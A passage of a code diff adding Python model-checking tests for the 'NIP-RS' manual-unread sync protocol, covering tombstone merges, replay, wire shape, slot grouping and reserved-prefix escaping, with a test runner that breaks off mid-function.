+    This targets Thufir's pass-1/2 CRITICAL directly: a dead register's
+    death cause is frontier-relative (baseline dominance) or
+    device-local-history-relative (clear-count dominance), but the
+    componentwise-max join recombines each register's `S`/`C`/`B`
+    independent of the history that produced them, so two individually-
+    dead registers could — before canonical publication — recombine
+    into a live join. Canonicalizing every override to `RegB(0,
+    max(S,C), 0)` before serialization (this round's CRITICAL fix)
+    folds every dead cause into a single globally-comparable `C`
+    ceiling with `S=0`, which per `test_tombstone_merge_monotonic` can
+    only ever raise a receiver's `C` — never resurrect.
+
+    Checked two ways:
+    - Directed case: Thufir's exact witness pair — `RegB(3,2,0)`
+      inactive via baseline dominance at frontier 50, `RegB(1,2,100)`
+      inactive via clear dominance at frontier 100 — whose raw
+      componentwise join is `RegB(3,2,100)`, live (`S=3>C=2`,
+      `frontier(100) not> B(100)`). Both tie policies.
+    - General search: every pairwise join of a bounded cube of
+      independently-dead `(reg, frontier)` points (see
+      `_dead_register_points`), delivered to a fresh receiver in both
+      direct orders and via a one-hop relay that itself republishes
+      (re-canonicalizes) what it received before forwarding — covering
+      delayed/multi-hop delivery, not just direct pairwise merge.
+
+    Returns (cube_size, violations).
+    """
+    violations = []
+    cube_size = 0
+
+    def _check_pair(tie_policy, label_a, blob_a, label_b, blob_b, tag):
+        nonlocal cube_size
+        cube_size += 1
+        for first, second in [(blob_a, blob_b), (blob_b, blob_a)]:
+            recv = device_cls("recv")
+            recv.receive_merge(first)
+            recv.receive_merge(second)
+            if recv.override_is_set("c0", tie_policy):
+                violations.append((
+                    tag, tie_policy, label_a, label_b, recv.overrides.get("c0"),
+                ))
+        # Multi-hop: a relay receives blob_a alone, republishes
+        # (re-canonicalizes) before forwarding, then the receiver gets
+        # the relayed form plus blob_b directly, in both orders.
+        relay = device_cls("relay")
+        relay.receive_merge(blob_a)
+        relayed = relay.publish_blob(tie_policy)
+        for first, second in [(relayed, blob_b), (blob_b, relayed)]:
+            recv = device_cls("recv_hop")
+            recv.receive_merge(first)
+            recv.receive_merge(second)
+            if recv.override_is_set("c0", tie_policy):
+                violations.append((
+                    tag + "-multihop", tie_policy, label_a, label_b,
+                    recv.overrides.get("c0"),
+                ))
+
+    # --- Directed case: Thufir's exact witness pair. ---
+    for tie_policy in (CLEAR, SET):
+        reg_a, front_a = RegB(s=3, c=2, b=0), 50
+        reg_b, front_b = RegB(s=1, c=2, b=100), 100
+        assert not override_set_b(reg_a, front_a, tie_policy)
+        assert not override_set_b(reg_b, front_b, tie_policy)
+
+        dev_a = device_cls("a")
+        dev_a.frontier["c0"] = front_a
+        dev_a.overrides["c0"] = reg_a
+        dev_b = device_cls("b")
+        dev_b.frontier["c0"] = front_b
+        dev_b.overrides["c0"] = reg_b
+
+        _check_pair(
+            tie_policy, f"thufir-witness-A={reg_a}@{front_a}",
+            dev_a.publish_blob(tie_policy),
+            f"thufir-witness-B={reg_b}@{front_b}",
+            dev_b.publish_blob(tie_policy),
+            "merge-closure-thufir-witness",
+        )
+
+    # --- General search over a bounded cube of dead published states. ---
+    for tie_policy in (CLEAR, SET):
+        points = _dead_register_points(tie_policy)
+        for label_a, reg_a, front_a in points:
+            dev_a = device_cls("a")
+            dev_a.frontier["c0"] = front_a
+            dev_a.overrides["c0"] = reg_a
+            blob_a = dev_a.publish_blob(tie_policy)
+            for label_b, reg_b, front_b in points:
+                dev_b = device_cls("b")
+                dev_b.frontier["c0"] = front_b
+                dev_b.overrides["c0"] = reg_b
+                blob_b = dev_b.publish_blob(tie_policy)
+                _check_pair(
+                    tie_policy, label_a, blob_a, label_b, blob_b,
+                    "merge-closure-cube",
+                )
+
+    return cube_size, violations
+
+
+# ---------------------------------------------------------------------------
+# I6: replay harmless
+# ---------------------------------------------------------------------------
+
+def test_replay_harmless(device_cls=DeviceB):
+    violations = []
+    for tie_policy in [CLEAR, SET]:
+        for ctx in CONTEXTS:
+            d = device_cls("d0")
+            d.frontier[ctx] = 10
+            d.do_mark_unread(ctx)
+            blob = d.publish_blob(tie_policy)
+            state_before = (
+                dict(d.frontier),
+                {k: v for k, v in d.overrides.items()},
+            )
+            d.receive_merge(blob)
+            d.receive_merge(blob)
+            d.receive_merge(blob)
+            state_after = (
+                dict(d.frontier),
+                {k: v for k, v in d.overrides.items()},
+            )
+            if state_before != state_after:
+                violations.append(("I6-replay", tie_policy, ctx))
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# I7: legacy rewrite
+# ---------------------------------------------------------------------------
+
+def test_legacy_rewrite_b():
+    """B's sibling keys survive legacy sanitization (round-trip)."""
+    violations = []
+    for ctx in CONTEXTS:
+        d = DeviceB("d0")
+        d.frontier[ctx] = 10
+        d.do_mark_unread(ctx)
+        blob = d.publish_blob()
+        sanitized = legacy_sanitize_blob(blob)
+
+        recv_orig = DeviceB("recv1")
+        recv_orig.receive_merge(blob)
+        recv_san = DeviceB("recv2")
+        recv_san.receive_merge(sanitized)
+
+        for c in CONTEXTS:
+            if recv_orig.overrides.get(c) != recv_san.overrides.get(c):
+                violations.append(("I7-B-sanitize-mutated", c,
+                                   recv_orig.overrides.get(c),
+                                   recv_san.overrides.get(c)))
+    return violations
+
+
+def test_legacy_erasure_a():
+    """A's top-level overrides field is erased by legacy rewrite. Expected witness."""
+    d = DeviceA("d0")
+    d.frontier["c0"] = 10
+    d.do_mark_unread("c0")
+    blob = d.publish_blob()
+    assert "overrides" in blob
+    legacy_blob = {"v": 1, "client_id": "legacy", "contexts": dict(blob["contexts"])}
+    return "overrides" not in legacy_blob
+
+
+# ---------------------------------------------------------------------------
+# I8: bounded key growth
+# ---------------------------------------------------------------------------
+
+def test_bounded_growth():
+    """I8: bounded key growth, canonical wire shape. A live override
+    (last action = mark_unread, still within baseline) publishes
+    exactly 3 keys/ctx; a dead override (mark_read past baseline, or
+    C > S under clear-wins) canonicalizes to exactly 1 key/ctx
+    (`ov_c:` tombstone) at publish time — never 0 (virgin-only) or 3
+    (dead-but-uncompacted, which the pre-fix serializer allowed).
+    """
+    violations = []
+    for ctx in CONTEXTS:
+        # Live: 100 set/clear round-trips, ending on a fresh mark_unread
+        # so S > C (live under both tie policies) at publish time.
+        d = DeviceB("d0")
+        d.frontier[ctx] = 10
+        for _ in range(100):
+            d.do_mark_unread(ctx)
+            d.do_mark_read(ctx, d.effective_frontier(ctx) + 1)
+        d.do_mark_unread(ctx)
+        blob = d.publish_blob(CLEAR)
+        ov_keys = [k for k in blob["contexts"] if k.startswith("ov_")]
+        if ov_keys != [f"ov_s:{ctx}", f"ov_c:{ctx}", f"ov_b:{ctx}"]:
+            violations.append(("I8-growth-live", ctx, ov_keys))
+
+        # Dead: advance the frontier past baseline B — override_set_b's
+        # baseline-dominance clause forces S dead regardless of S vs C.
+        d.do_advance_frontier(ctx, d.effective_frontier(ctx) + 100)
+        tomb_blob = d.publish_blob(CLEAR)
+        tomb_keys = [k for k in tomb_blob["contexts"] if k.startswith("ov_")]
+        if tomb_keys != [f"ov_c:{ctx}"]:
+            violations.append(("I8-growth-tombstone", ctx, tomb_keys))
+    return violations
+
+
+def test_wire_shape_exact():
+    """Exact wire-shape regression (Paul's fix-scope item 4): a live
+    override serializes to exactly 3 `ov_*` keys, a dead override to
+    exactly 1 (`ov_c:` only, zero-valued `ov_s`/`ov_b` omitted), and a
+    virgin override to exactly 0. Checked directly against
+    `publish_blob`'s output, independent of `do_compact`.
+    """
+    violations = []
+    for tie_policy in (CLEAR, SET):
+        # Live.
+        d_live = DeviceB("d0")
+        d_live.frontier["c0"] = 10
+        d_live.do_mark_unread("c0")
+        live_blob = d_live.publish_blob(tie_policy)
+        live_keys = sorted(k for k in live_blob["contexts"] if k.startswith("ov_"))
+        if live_keys != ["ov_b:c0", "ov_c:c0", "ov_s:c0"]:
+            violations.append(("wire-shape-live", tie_policy, live_keys))
+
+        # Dead (clear-wins only: S==C>0 is dead under CLEAR, live under
+        # SET — use baseline dominance instead so it's dead under both).
+        d_dead = DeviceB("d0")
+        d_dead.frontier["c0"] = 10
+        d_dead.do_mark_unread("c0")
+        d_dead.do_advance_frontier("c0", 100)
+        dead_blob = d_dead.publish_blob(tie_policy)
+        dead_keys = sorted(k for k in dead_blob["contexts"] if k.startswith("ov_"))
+        if dead_keys != ["ov_c:c0"]:
+            violations.append(("wire-shape-tombstone", tie_policy, dead_keys))
+        if dead_blob["contexts"]["ov_c:c0"] != 1:
+            violations.append((
+                "wire-shape-tombstone-ceiling", tie_policy,
+                dead_blob["contexts"]["ov_c:c0"],
+            ))
+
+        # Virgin: no override ever set for this context.
+        d_virgin = DeviceB("d0")
+        d_virgin.frontier["c0"] = 10
+        d_virgin.overrides["c0"] = RegB(s=0, c=0, b=0)
+        virgin_blob = d_virgin.publish_blob(tie_policy)
+        virgin_keys = [k for k in virgin_blob["contexts"] if k.startswith("ov_")]
+        if virgin_keys:
+            violations.append(("wire-shape-virgin", tie_policy, virgin_keys))
+
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# I9: DeviceA counter absorption
+# ---------------------------------------------------------------------------
+
+def test_a_counter_absorption():
+    """After receiving a blob with counter=10, a local action must use counter>10."""
+    d0 = DeviceA("d0")
+    d0.frontier["c0"] = 10
+    d0.counter = 10
+    d0.do_mark_unread("c0")
+    blob0 = d0.publish_blob()
+
+    d1 = DeviceA("d1")
+    d1.frontier["c0"] = 10
+    d1.receive_merge(blob0)
+    assert d1.counter >= 10, f"counter not absorbed: {d1.counter}"
+
+    d1.do_mark_read("c0", 20)
+    reg = d1.overrides.get("c0")
+    assert reg is not None and reg.counter > 10, \
+        f"post-receive clear at counter {reg.counter} would lose to set at 10"
+    return True
+
+
+# ---------------------------------------------------------------------------
+# Identity-free (B): reinstall convergence
+# ---------------------------------------------------------------------------
+
+def test_b_identity_free(device_cls=DeviceB):
+    violations = []
+    for tie_policy in [CLEAR, SET]:
+        for ctx in CONTEXTS:
+            d = device_cls("d0")
+            d.frontier[ctx] = 10
+            d.do_mark_unread(ctx)
+            blob1 = d.publish_blob(tie_policy)
+
+            d_re = device_cls("d0_reinstalled")
+            d_re.receive_merge(blob1)
+            d_re.do_mark_read(ctx, 20)
+            blob2 = d_re.publish_blob(tie_policy)
+
+            verdicts = set()
+            for first, second in [(blob1, blob2), (blob2, blob1)]:
+                recv = device_cls("recv")
+                recv.receive_merge(first)
+                recv.receive_merge(second)
+                verdicts.add(recv.override_is_set(ctx, tie_policy))
+            if len(verdicts) > 1:
+                violations.append(("identity-free", tie_policy, ctx))
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# Legacy prune/trim interaction
+# ---------------------------------------------------------------------------
+
+def test_legacy_prune_interaction():
+    """ov_ keys survive prune; msg:ov_ nested keys would be pruned (state loss)."""
+    base = {"c0": 50, "msg:m1": 30, "thread:t1": 40}
+    ov = {"ov_s:c0": 1, "ov_c:c0": 0, "ov_b:c0": 10}
+    all_keys = {**base, **ov}
+    pruned = legacy_prune(all_keys, horizon=35)
+    ov_survived = all(k in pruned for k in ov)
+    msg_pruned = "msg:m1" not in pruned
+
+    nested = {"msg:ov_s:c0": 1, "msg:ov_c:c0": 0, "msg:ov_b:c0": 10}
+    pruned_nested = legacy_prune({**base, **nested}, horizon=35)
+    nested_lost = any(k not in pruned_nested for k in nested)
+    return ov_survived, msg_pruned, nested_lost
+
+
+def test_legacy_trim_interaction():
+    """Excess override keys block legacy publish when budget exceeded."""
+    contexts = {"c0": 50}
+    for i in range(1000):
+        contexts[f"ov_s:c{i}"] = 1
+        contexts[f"ov_c:c{i}"] = 0
+        contexts[f"ov_b:c{i}"] = 10
+    _, fits = legacy_trim(contexts, "client1", max_bytes=32768)
+    return not fits
+
+
+# ---------------------------------------------------------------------------
+# Multi-slot union
+# ---------------------------------------------------------------------------
+
+def test_multi_slot_union(device_cls=DeviceB):
+    """Split a published blob across 2 slots using the atomic-grouping rule,
+    deliver each slot separately, verify convergence with delivering the full blob.
+
+    Production: mergeReadStateEvents merges per-slot blobs with per-context
+    max(). Override sibling keys are individual context entries, so they
+    follow the same merge path. The atomic-grouping rule requires that all
+    `ov_*` sibling keys for a context travel with that context's frontier
+    key in the same slot — `split_blob_into_slots` enforces this.
+    """
+    violations = []
+    for tie_policy in [CLEAR, SET]:
+        dev = device_cls("d0")
+        dev.frontier["c0"] = 10
+        dev.frontier["c1"] = 20
+        dev.do_mark_unread("c0")
+        dev.do_mark_read("c1", 30)
+
+        full_blob = dev.publish_blob(tie_policy)
+        slots = dev.split_blob_into_slots(tie_policy, n_slots=2)
+        slot0, slot1 = slots[0], slots[1]
+
+        recv_full = device_cls("recv_full")
+        recv_full.receive_merge(full_blob)
+
+        for first, second in [(slot0, slot1), (slot1, slot0)]:
+            recv_split = device_cls("recv_split")
+            recv_split.receive_merge(first)
+            recv_split.receive_merge(second)
+
+            for ctx in CONTEXTS:
+                ov_full = recv_full.override_is_set(ctx, tie_policy)
+                ov_split = recv_split.override_is_set(ctx, tie_policy)
+                f_full = recv_full.effective_frontier(ctx)
+                f_split = recv_split.effective_frontier(ctx)
+                if ov_full != ov_split:
+                    violations.append(("multi-slot-override", tie_policy, ctx))
+                if f_full != f_split:
+                    violations.append(("multi-slot-frontier", tie_policy, ctx))
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# Interleaved-delivery grouping: Thufir's CRITICAL transport counterexample
+#
+# Without the atomic-grouping rule a compliant publisher would still split
+# ov_s:/ov_c:/ov_b: across slots as independent entries.  M8's per-entry
+# split places frontier+ov_s: in slot 0 and ov_b:+ov_c: in slot 1.  An
+# observer holding only slot 0 reconstructs RegB(1,0,0), judges it
+# baseline-dead (B=0 ≤ frontier=10), and canonically publishes tombstone
+# RegB(0,1,0).  After all slots and that transient tombstone are eventually
+# merged the result is RegB(1,1,10) — dead under clear-wins —
+# permanently suppressing a live override.
+#
+# The atomic-grouping rule closes this: every ov_* entry for a context
+# travels with the context's frontier entry, so a receiver always sees
+# either the complete register or nothing.  This test exercises both:
+# - The PASS path: grouped slots → no false tombstone possible.
+# - The FAIL path (M8): per-entry split → Thufir's exact witness reproduced.
+# ---------------------------------------------------------------------------
+
+def test_interleaved_delivery_grouping(device_cls=DeviceB):
+    """Exercise receive-one-slot → canonical re-publish → receive-rest →
+    re-publish permutations, both slot orders, including delayed delivery
+    of both transient re-publications to a third observer.
+
+    Protocol sequence (exact, per Paul's brief):
+      1. partial_obs receives first_slot → publishes transient_1.
+      2. partial_obs receives second_slot → publishes transient_2.
+      3. Third-party finals receive BOTH source slots AND both transient
+         publications in relevant interleaving orders.
+    Oracle: after eventual delivery of ALL blobs (both source slots +
+    both transients), every observer's override matches source liveness.
+
+    With the atomic-grouping rule (default DeviceB):
+      - The compliant split puts the full register in one slot, the other
+        is empty.  partial_obs after step 1 holds either the complete
+        register (live → transient_1 is live) or nothing (transient_1 is
+        empty/virgin).  Either way, step 2 delivers the remaining (possibly
+        empty) slot.  Final merge of all blobs = source liveness.  PASS.
+    With per-entry splitting (M8):
+      - slot 0 carries frontier + ov_s: (partial → RegB(1,0,0), dead).
+        transient_1 is tombstone RegB(0,1,0).  After step 2 partial_obs
+        holds full register but transient_1 tombstone is already in
+        circulation.  Finals that receive transient_1 get
+        RegB(1,1,10) — dead under clear-wins.  FAIL (Thufir's witness).
+    """
+    violations = []
+
+    # Source: live override RegB(1,0,10) at frontier=10 — Thufir's witness.
+    src_s, src_c, src_b, src_front = 1, 0, 10, 10
+
+    for tie_policy in (CLEAR, SET):
+        src = device_cls("src")
+        src.frontier["c0"] = src_front
+        src.overrides["c0"] = RegB(s=src_s, c=src_c, b=src_b)
+
+        # Confirm source is actually live.
+        assert src.override_is_set("c0", tie_policy), (
+            f"test precondition: source must be live under {tie_policy}"
+        )
+
+        # Produce the source's two slots via the (possibly mutated) split.
+        slots = src.split_blob_into_slots(tie_policy, n_slots=2)
+        slot0, slot1 = slots[0], slots[1]
+        src_live = src.override_is_set("c0", tie_policy)
+
+        for first_slot, second_slot in [(slot0, slot1), (slot1, slot0)]:
+            # Step 1: partial_obs receives first slot, canonically re-publishes.
+            partial_obs = device_cls("partial_obs")
+            partial_obs.receive_merge(first_slot)
+            transient_1 = partial_obs.publish_blob(tie_policy)
+
+            # Step 2: partial_obs receives second slot, publishes again.
+            partial_obs.receive_merge(second_slot)
+            transient_2 = partial_obs.publish_blob(tie_policy)
+
+            # Step 3: third-party finals receive BOTH source slots AND both
+            # transient publications, in several representative interleaving
+            # orders.  All must agree with source liveness.
+            # Representative orders: transient_1 before both slots (most
+            # dangerous under M8), transient_1 after both slots, and
+            # interleaved.  We check 3 explicit orders rather than all 4!
+            # permutations (24) for speed; M8's canonical false-clear path
+            # (transient_1 first, then second_slot only) is order 1.
+            check_orders = [
+                # Most dangerous: transient_1 arrives first, before any source
+                [transient_1, slot0, slot1, transient_2],
+                # Normal: both source slots first, then both transients
+                [slot0, slot1, transient_1, transient_2],
+                # Interleaved: first source, transient_1, second source, transient_2
+                [first_slot, transient_1, second_slot, transient_2],
+            ]
+
+            for order in check_orders:
+                final = device_cls("final")
+                for blob in order:
+                    final.receive_merge(blob)
+                final_live = final.override_is_set("c0", tie_policy)
+                if final_live != src_live:
+                    t1_reg = partial_obs.overrides.get("c0")
+                    violations.append((
+                        "interleaved-delivery-false-clear",
+                        tie_policy,
+                        f"slot_order=(first={list(first_slot['contexts'].keys())[:2]}...)",
+                        f"delivery_order={[list(b['contexts'].keys())[:2] for b in order]}",
+                        f"transient_1_reg={t1_reg}",
+                        f"final_reg={final.overrides.get('c0')}",
+                        f"expected_live={src_live} got_live={final_live}",
+                    ))
+
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# Escaped-context slot-grouping regression
+#
+# Thufir's CRITICAL (round 2): a raw context ID that starts with a
+# reserved prefix (e.g. "ov_s:evil") escapes to "esc:ov_s:evil" as its
+# frontier wire key.  Before the fix, split_blob_into_slots grouped the
+# frontier by its wire key ("esc:ov_s:evil") but the ov_* siblings by
+# the raw suffix ("ov_s:evil") — two identities for one logical context.
+# The frontier and its siblings landed in different slots.
+#
+# Across publication cycles the replaceable slot d-tag coordinates
+# update slot-by-slot.  A relay can therefore serve: new frontier slot
+# (just published, carries esc:ov_s:evil=10) + stale override slot
+# (old coordinate, carries ov_s/ov_c/ov_b at b=0 from the old pub).
+# The reconstructed register is RegB(s=1, c=0, b=0) at frontier=10 —
+# baseline-dead.  Canonical re-publication emits tombstone RegB(0,1,0).
+# Eventually both current slots + the transient merge to RegB(1,1,10) —
+# dead under clear-wins — permanently suppressing a live override.
+#
+# The fix: derive the frontier's group identity via unescape_context_key
+# so it joins the same group as its ov_* siblings.  This test exercises
+# both directions: M9 (reverts to escaped-key grouping) must reproduce
+# the witness, and the correct model must pass.
+# ---------------------------------------------------------------------------
+
+def test_escaped_context_slot_grouping(device_cls=DeviceB):
+    """Regression for escaped-context identity mismatch in split_blob_into_slots.
+
+    Scenario:
+    1. Source has a live override on raw context "ov_s:evil" (escapes to
+       "esc:ov_s:evil" as frontier wire key) — Thufir's exact escaped witness.
+    2. Source publishes twice: first at frontier=0/b=0, then after advancing
+       frontier to 10 and re-marking unread (b=10).  Each publication produces
+       2 slots.  Simulates a relay retaining a stale old-cycle slot under its
+       old replaceable coordinate while only the new-cycle slot for the OTHER
+       half has been updated — the old/new slot-coordinate mixture.
+    3. An observer receives: new-cycle frontier-bearing slot (frontier=10,
+       esc:ov_s:evil=10) + stale old-cycle override slot (ov_s/ov_c/ov_b from
+       first pub where b=0).
+    4. Observer canonically re-publishes (mandatory, per NIP-RS spec).
+    5. A third-party final observer receives both current-cycle source slots
+       plus the transient re-publication.
+    6. Oracle: final observer must see the override as live.
+
+    With the unescape-before-group fix: frontier + ov_* siblings always land
+    in the same slot → no partial register → no false tombstone.  PASS.
+    With M9 (escaped-key grouping): frontier in one slot, siblings in another
+    → partial reconstruction → false tombstone → final merge dead.  FAIL.
+    """
+    violations = []
+    raw_ctx = "ov_s:evil"
+
+    for tie_policy in (CLEAR, SET):
+        # --- Publication cycle 1: initial state, frontier=0 ---
+        src_old = device_cls("src")
+        src_old.frontier[raw_ctx] = 0
+        src_old.do_mark_unread(raw_ctx)  # RegB(s=1, c=0, b=0)
+        old_slots = src_old.split_blob_into_slots(tie_policy, n_slots=2)
+        # old_slots[0] is the "stale old-coordinate slot" a relay may retain.
+
+        # --- Publication cycle 2: frontier advances, re-mark-unread ---
+        src_new = device_cls("src")
+        src_new.frontier[raw_ctx] = 10
+        src_new.do_mark_unread(raw_ctx)  # RegB(s=1, c=0, b=10) — live at frontier=10
+
+        assert src_new.override_is_set(raw_ctx, tie_policy), (
+            f"test precondition: source must be live under {tie_policy}"
+        )
+
+        new_slots = src_new.split_blob_into_slots(tie_policy, n_slots=2)
+
+        # --- Full delivery: both new slots → both current-cycle slot arrive ---
+        recv_full = device_cls("recv_full")
+        recv_full.receive_merge(new_slots[0])
+        recv_full.receive_merge(new_slots[1])
+        if not recv_full.override_is_set(raw_ctx, tie_policy):
+            violations.append((
+                "escaped-ctx-full-delivery-dead", tie_policy,
+                f"full={recv_full.overrides.get(raw_ctx)}",
+            ))
+
+        # --- Mixture: new frontier-bearing slot + stale old override slot ---
+        # Identify which new slot carries the frontier and which carries ov_*,
+        # then pair the frontier slot with the old-cycle override slot.
+        wire_frontier = escape_context_key(raw_ctx)
+
+        new_frontier_slot_idx = 0 if wire_frontier in new_slots[0]["contexts"] else 1
+        new_frontier_slot = new_slots[new_frontier_slot_idx]
+        old_override_slot = old_slots[1 - new_frontier_slot_idx]  # opposite slot
+
+        # Check whether the frontier and ov_* siblings are co-located in new_slots.
+        ov_s_key = f"ov_s:{raw_ctx}"
+        frontier_and_ov_same_slot = (
+            wire_frontier in new_slots[new_frontier_slot_idx]["contexts"] and
+            ov_s_key in new_slots[new_frontier_slot_idx]["contexts"]
+        )
+
+        if frontier_and_ov_same_slot:
+            # Correct grouping: old override slot has nothing relevant, mixture
+            # is safe by construction — the stale slot is just an empty dict.
+            # Verify anyway for defense-in-depth.
+            obs = device_cls("obs")
+            obs.receive_merge(new_frontier_slot)
+            obs.receive_merge(old_override_slot)
+            transient = obs.publish_blob(tie_policy)
+
+            final = device_cls("final")
+            final.receive_merge(new_slots[0])
+            final.receive_merge(new_slots[1])
+            final.receive_merge(transient)
+            if not final.override_is_set(raw_ctx, tie_policy):
+                violations.append((
+                    "escaped-ctx-grouped-mixture-dead", tie_policy,
+                    f"transient={obs.overrides.get(raw_ctx)}",
+                    f"final={final.overrides.get(raw_ctx)}",
+                ))
+        else:
+            # Mismatched grouping (M9 path): frontier and siblings split.
+            # The mixture produces a partial register → false tombstone.
+            obs = device_cls("obs")
+            obs.receive_merge(new_frontier_slot)    # gets frontier=10, no ov_*
+            obs.receive_merge(old_override_slot)    # gets ov_s/ov_c/ov_b at b=0
+            transient = obs.publish_blob(tie_policy)
+
+            # Final observer gets everything: both new slots + transient.
+            for order in [(new_slots[0], new_slots[1]), (new_slots[1], new_slots[0])]:
+                final = device_cls("final")
+                final.receive_merge(order[0])
+                final.receive_merge(order[1])
+                final.receive_merge(transient)
+                if not final.override_is_set(raw_ctx, tie_policy):
+                    violations.append((
+                        "escaped-ctx-mixture-false-clear", tie_policy,
+                        f"obs_reg={obs.overrides.get(raw_ctx)}",
+                        f"transient_reg={transient['contexts']}",
+                        f"final_reg={final.overrides.get(raw_ctx)}",
+                    ))
+
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# Reserved key namespace: adversarial prefix collision
+# ---------------------------------------------------------------------------
+
+def test_reserved_namespace_collision():
+    """A genuine user context whose raw ID begins with the reserved `ov_`
+    stem (e.g. a pre-existing legacy context literally named `ov_s:evil`)
+    must round-trip as frontier state, not be misparsed as a control key
+    for a different context, and must not collide with a real override's
+    sibling keys in the same flattened contexts map.
+
+    Exercises: escape on publish, unescape on receive, and a live
+    override on a DIFFERENT context in the same blob to prove no
+    control-key collision occurs.
+    """
+    violations = []
+    adversarial_raw = "ov_s:evil"  # would misparse as ov_s: control for ctx "evil"
+    real_ctx = "c0"
+
+    # Escaping must be a no-op for every context ID Buzz actually
+    # generates, and must trigger for the adversarial one.
+    for benign in ("b68cd7cb-6f8d-4641-b743-a7349eb4114b",
+                   "msg:" + "a" * 64, "thread:" + "b" * 64):
+        if escape_context_key(benign) != benign:
+            violations.append(("namespace-benign-escaped", benign))
+    if escape_context_key(adversarial_raw) == adversarial_raw:
+        violations.append(("namespace-adversarial-not-escaped", adversarial_raw))
+    if not escape_context_key(adversarial_raw).startswith(ESCAPE_PREFIX):
+        violations.append(("namespace-adversarial-missing-marker", adversarial_raw))
+
+    dev = DeviceB("d0")
+    dev.frontier[adversarial_raw] = 42
+    dev.frontier[real_ctx] = 5
+    dev.do_mark_unread(real_ctx)
+    blob = dev.publish_blob()
+
+    wire_key = escape_context_key(adversarial_raw)
+    if wire_key not in blob["contexts"]:
+        violations.append(("namespace-wire-key-missing", wire_key, blob["contexts"]))
+    if blob["contexts"].get(wire_key) != 42:
+        violations.append(("namespace-value-corrupted", wire_key, blob["contexts"].get(wire_key)))
+
+    recv = DeviceB("recv")
+    recv.receive_merge(blob)
+    if recv.effective_frontier(adversarial_raw) != 42:
+        violations.append((
+            "namespace-roundtrip-failed", adversarial_raw,
+            recv.effective_frontier(adversarial_raw),
+        ))
+    if adversarial_raw in recv.overrides:
+        violations.append(("namespace-misparsed-as-override", adversarial_raw))
+    if recv.overrides.get(real_ctx) is None or recv.overrides[real_ctx].s == 0:
+        violations.append(("namespace-real-override-corrupted", real_ctx, recv.overrides.get(real_ctx)))
+
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# Run all
+# ---------------------------------------------------------------------------
+
+def run_all():
+    print("=" * 60)
+    print("NIP-RS manual-unread exhaustive model")
+    print("=" * 60)
+    total_violations = 0
+
+    def report(name, violations):
+        nonlocal total_violations
+        n = len(violations) if isinstance(violations, list) else 0
+        total_violations += n
+        status = "PASS" if n == 0 else f"FAIL ({n})"
+        print(f"  {name}: {status}")
+        if n > 0:
+            for v in violations[:3]:
+                print(f"    {v}")
+
+    print("\n--- I1: merge algebra (B) ---")
+    report("assoc/commut/idempot", test_merge_algebra_b())
+
+    print("\n--- I1: merge algebra (A) ---")
+    report("assoc/commut/idempot", test_merge_algebra_a())
+
+    print("\n--- I2+I3+I5: BFS explorer (B, clear-wins) ---")
+    n, v = explore_b(max_depth=4, tie_policy=CLEAR)
+    print(f"  states explored: {n}")
+    report("convergence+frontier+compaction", v)
+
+    print("\n--- I2+I3+I5: BFS explorer (B, set-wins) ---")
+    n, v = explore_b(max_depth=4, tie_policy=SET)
+    print(f"  states explored: {n}")
+    report("convergence+frontier+compaction", v)
+
+    print("\n--- I4: concurrent set/clear stability ---")
+    report("stable winner", test_concurrent_stability())
+
+    print("\n--- I5: compaction register-level exhaustive ---")
+    report("all register values x policies", test_compaction_register_exhaustive())
+
+    print("\n--- I5c: directed deep-history (compact -> reuse -> stale delivery) ---")
+    cube_size, deep_v = test_deep_history_compaction()
+    print(f"  parameter cube size: {cube_size}")
+    report("no divergence from never-compact reference", deep_v)
+
+    print("\n--- I5c: tombstone + stale-ancestor merge (direct) ---")
+    report("no resurrection", test_tombstone_stale_merge_direct())
+
+    print("\n--- I5d: tombstone-merge monotonicity (structural lemma) ---")
+    report("ceiling never strengthens S", test_tombstone_merge_monotonic())
+
+    print("\n--- I5d: cross-device compaction transparency (suppress-only) ---")
+    cd_cube, cd_suppress, cd_v = test_cross_device_compaction_suppression()
+    print(f"  parameter cube size: {cd_cube}  suppressions observed: {cd_suppress}")
+    report("suppress-only + recoverable", cd_v)
+
+    print("\n--- Published-state merge closure (canonical publication guarantee) ---")
+    mc_cube, mc_v = test_published_merge_closure()
+    print(f"  pairs checked: {mc_cube}")
+    report("no dead+dead resurrection", mc_v)
+
+    print("\n--- I6: replay harmless ---")
+    report("replay", test_replay_harmless())
+
+    print("\n--- I7: legacy rewrite (B) ---")
+    report("sibling keys survive", test_legacy_rewrite_b())
+
+    print("\n--- I7: legacy erasure (A) — expected witness ---")
+    erased = test_legacy_erasure_a()
+    print(f"  overrides erased by legacy: {'CONFIRMED' if erased else 'NOT FOUND'}")
+    if not erased:
+        total_violations += 1
+
+    print("\n--- I8: bounded growth ---")
+    report("canonical wire shape (3 live / 1 tombstone)", test_bounded_growth())
+
+    print("\n--- I8: exact wire-shape regression ---")
+    report("live=3 keys, tombstone=1 key, virgin=0 keys", test_wire_shape_exact())
+
+    print("\n--- I9: DeviceA counter absorption ---")
+    absorbed = test_a_counter_absorption()
+    print(f"  post-receive counter > received: {'CONFIRMED' if absorbed else 'FAIL'}")
+    if not absorbed:
+        total_violations += 1
+
+    print("\n--- Identity-free (B) ---")
+    report("reinstall convergence", test_b_identity_free())
+
+    print("\n--- Legacy prune interaction ---")
+    ov_ok, msg_ok, nested_lost = test_legacy_prune_interaction()
+    print(f"  ov_ keys survive: {'PASS' if ov_ok else 'FAIL'}")
+    print(f"  msg: pruned at horizon: {'PASS' if msg_ok else 'FAIL'}")
+    print(f"  nested msg:ov_ lost: {'CONFIRMED (hazard)' if nested_lost else 'NOT FOUND'}")
+    if not ov_ok:
+        total_violations += 1
+
+    print("\n--- Legacy trim interaction ---")
+    blocked = test_legacy_trim_interaction()
+    print(f"  excess overrides block publish: {'CONFIRMED (hazard)' if blocked else 'NOT FOUND'}")
+
+    print("\n--- Multi-slot union ---")
+    report("split+merge convergence", test_multi_slot_union())
+
+    print("\n--- Interleaved delivery + atomic grouping rule ---")
+    report("no false clear under slot interleaving", test_interleaved_delivery_grouping())
+
+    print("\n--- Escaped-context slot-grouping regression ---")
+    report("escaped ctx: frontier + ov_* siblings same slot", test_escaped_context_slot_grouping())
+
+    print("\n--- Reserved key namespace: adversarial prefix collision ---")
